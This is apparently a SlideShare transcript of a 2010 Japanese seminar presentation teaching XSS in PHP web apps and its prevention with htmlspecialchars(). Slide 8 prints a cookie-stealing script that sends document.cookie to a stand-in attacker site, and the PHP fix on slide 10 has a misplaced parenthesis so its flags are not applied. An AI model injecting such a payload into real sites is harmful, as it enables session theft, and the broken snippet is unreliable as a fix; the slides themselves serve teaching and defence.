情報学ゼミ第3回発表資料
Upcoming SlideShare
Loading in...5
×
 

情報学ゼミ第3回発表資料

on

  • 1,090 views

 

Statistics

Views

Total Views
1,090
Views on SlideShare
1,079
Embed Views
11

Actions

Likes
0
Downloads
1
Comments
0

1 Embed 11

http://semifo.pa.land.to 11

Accessibility

Categories

Upload Details

Uploaded via as Microsoft PowerPoint

Usage Rights

© All Rights Reserved

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment

情報学ゼミ第3回発表資料 情報学ゼミ第3回発表資料 Presentation Transcript

  • 1
    情報学ゼミ第三回発表
    2010/05/10
    Semifo
    Semifo Lab: http://semifo.pa.land.to/
    All contents copyright and copy Semifo. All rights reserved. Revised:, (C)2010
  • 2
    GW前時点までの進捗状況1
    PHPによるWebアプリケーション脆弱性に対する対策技術の確認
    XSS
    CSRF
    SQLインジェクション
    ディレクトリトラバーサル
    OSコマンドインジェクション
    セッションハイジャック等
    All contents copyright and copy Semifo. All rights reserved. Revised:, (C)2010
  • XSS とは?
    サイトをまたがって(クロスサイト)、攻撃用のスクリプトを送る手法からクロスサイトスクリプティングと命名されているが、基本的には攻撃対象のWebサイトに攻撃用のスクリプトを埋め込む攻撃全般の事を言う。
    3
    All contents copyright and copy Semifo. All rights reserved. Revised:, (C)2010
  • XSS脆弱性があると、どのような被害が起き得るのか
    ここからは、理解を容易にするために、実際にPHPによって書かれたWebアプリケーションを用いて解説していく。
    4
    All contents copyright and copy Semifo. All rights reserved. Revised:, (C)2010
  • 今回、用いるサンプルWebアプリケーション
    5
    基本的な仕様
    入力ページから入力されたToDo(タスク)が、左のメインページに出力される
  • 攻撃用のスクリプトを入力してみる
    <script>for(i=0;i<10;i++)alert(i);</script>
    //スクリプトが実行されるとアラートウィンドウが10回出力される
    6
    スクリプトを入力する
  • 7
    スクリプトが実行されて、アラートウィンドウが表示された
    All contents copyright and copy Semifo. All rights reserved. Revised:, (C)2010
  • Cookieを盗むスクリプト
    <script>location.replace("http://www.malicious-site.com/index.php?cookie="+document.cookie);</script>
    //スクリプトが埋め込まれたサイトでの、ユーザーのCookieをURLパラメタとして、攻撃者のサイトにアクセスさせる(クロスサイト)
    8
    All contents copyright and copy Semifo. All rights reserved. Revised:, (C)2010
  • XSS対策
    基本的には、ユーザからの入力をサイトに出力する場合に、HTMLで特別な意味を持つメタキャラクタ(<,>,&,”等)を、エスケープ処理(文字列参照に変換)してやればよい。
    9
    All contents copyright and copy Semifo. All rights reserved. Revised:, (C)2010
  • PHPにおけるXSS対策
    ユーザーからの入力をサイトに出力する場合は必ずhtmlspecialchars()を通す。
     <?php echo(htmlspecialchars($_POST[‘data’]), ENT_QUOTES,'UTF-8') ?>
    10
    All contents copyright and copy Semifo. All rights reserved. Revised:, (C)2010
  • XSS対策実装後
    11
    スクリプトが実行されずに、
    ただの文字列として出力された
    XSS対策は、Webアプリケーションにおけるセキュリティ対策の中でも,SQLインジェクションと並んで、最も基礎的な項目であり、
    成果物を外部に公開する上での最低限のマナーでもあるので、
    アクセスしてきたユーザーに迷惑をかけないためにも、
    確実に実装しておく必要がある。
    All contents copyright and copy Semifo. All rights reserved. Revised:, (C)2010
  • 追記
    本当はXSS対策は、htmlspecialchars()を通すだけでは十分ではなくて、不完全なマルチバイト文字列による攻撃や、想定していない文字コードによる攻撃、NULLバイト文字等も加味して考慮する必要があるが、これ以上長くなってもアレなので、興味がある人は調べてみて下さい。
    12
    All contents copyright and copy Semifo. All rights reserved. Revised:, (C)2010